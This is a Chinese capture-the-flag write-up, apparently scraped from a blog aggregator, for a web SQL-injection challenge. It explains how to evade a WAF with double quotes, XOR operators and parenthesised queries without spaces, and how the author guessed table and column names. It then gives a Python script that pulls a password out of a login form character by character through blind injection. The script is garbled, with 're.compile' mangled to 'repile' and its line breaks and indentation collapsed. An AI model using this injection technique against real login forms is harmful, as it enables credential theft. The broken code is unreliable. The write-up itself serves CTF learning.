问鼎杯web/sql注入

编程入门 行业动态 更新时间:2024-10-09 16:32:14

问鼎杯<a href=https://www.elefans.com/category/jswz/34/1770958.html style=web/sql注入"/>

问鼎杯web/sql注入

原题链接:/

备注:写博客时看了眼,好像已经上不去了

 

话不多说,先来分析下这题思路吧,这题的坑点有三个:

1.单引号

2.链接词过滤

3.空格

4.字段名,表名自己猜(其实还是很好猜的)

 

下面来一一解释:

首先总的分析一下这个题,有两层拦截,一个是服务器自带的waf,一个是题目需求另加的拦截,根据python连接报错可以很明显知道,如果被waf拦截,服务器会强制中断连接,即空白页(bp得不到信息),这个点非常坑,单引号无法使用,加上这种空白页,感觉无论怎么尝试都是无解的,深深的无力感。

按照正常流程来,首先猜出此题不利用单引号,利用的是双引号(猜不出就做不出来了),接下来开始考虑链接关键词,常用的and,or,union等等在这里都是不行的,考验基本功的时候到了,仔细分析下,我们要连接词用来做什么,此题是没有输出的,题目唯一显示的只有username error!与password error!,区别来源于username这个参数,这里其实就很容易想到sql注入的基于报错的盲注了

盲注,只需要判断username过还是没过,即true or false ,即1,0,没错,看到1,0想到了什么,异或处理,就是这个

空格拦截,select是没有影响的,括号包起来字段就可以了

两个图简单看一下

这里是用admin做简单测试的,实际payload脚本中使用应该是1,或者0,充分利用异或

跑库脚本不放了,写的丑,表出不来,放上来也没有意义

好,接下来大坑点来了,表被拦截了,information被拦截,非常坑,又是一波绞尽脑汁思考绕过,实在没有办法

这里只有靠猜,常见的flag,还有这题要求我们拿password,根据这个猜pawwword,pw,passwd,表名ctf_flag,flag,user,users等等,尝试,最终还是确定了表名和字段名

length尝试结束,跑库开始,代码直接贴上了,很简单的代码,也不做过多说明了(思想就是盲注)

 

__author__ = 'netfish'
# -*-coding:utf-8-*-import requests
import reflag = ""pattern1 = repile(r'Password error!')
pattern2 = repile(r'Username error!')headers = {'Host': 'sec2.hdu.edu','Content-Length': '81','Cache-Control': 'max-age=0','Origin': '','Upgrade-Insecure-Requests': '1','Content-Type': 'application/x-www-form-urlencoded','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8','Referer': '/','Accept-Encoding': 'gzip, deflate','Accept-Language': 'zh-CN,zh;q=0.8','Cookie': 'WDCTFSESSID=v1n6kcknvv8f0af8e7t7o3ltp6','Connection': 'close',}print("Start")
for i in range(1,50):for j in range(30,126):url = "/"data = {"username":"0\"^(ascii(mid((select(pass)from(users)),{0},1))>{1})^\"".format(i,j),"password":"admin"}#print(data['username'])     1"^(ascii(mid((select(pass)from(users)),1,1))>30)^"res = requests.post(url,headers=headers,data = data).text#print(res)if(len(pattern2.findall(res))):continueelif(len(pattern1.findall(res))):flag=flag+chr(j)print(i,j)print('\n[NOW]flag is %s' %flag)breakelse:if j==126:break
print('\n[Finally] current pwd is %s' %flag)

 

最坑的是空格限制又因为前面已经使用了括号,这里无法使用limit,top之类来限制一行一行选取数据,不过还好,因为只有一行数据,所以mid不会存在报错

本地测试limit如下:

 

之后跑库拿到密码,,登录,然后,然后,就getflag了,自己尝试吧,哈哈哈

更多推荐

问鼎杯web/sql注入

本文发布于:2024-03-23 01:52:44,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1739059.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:web   sql

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!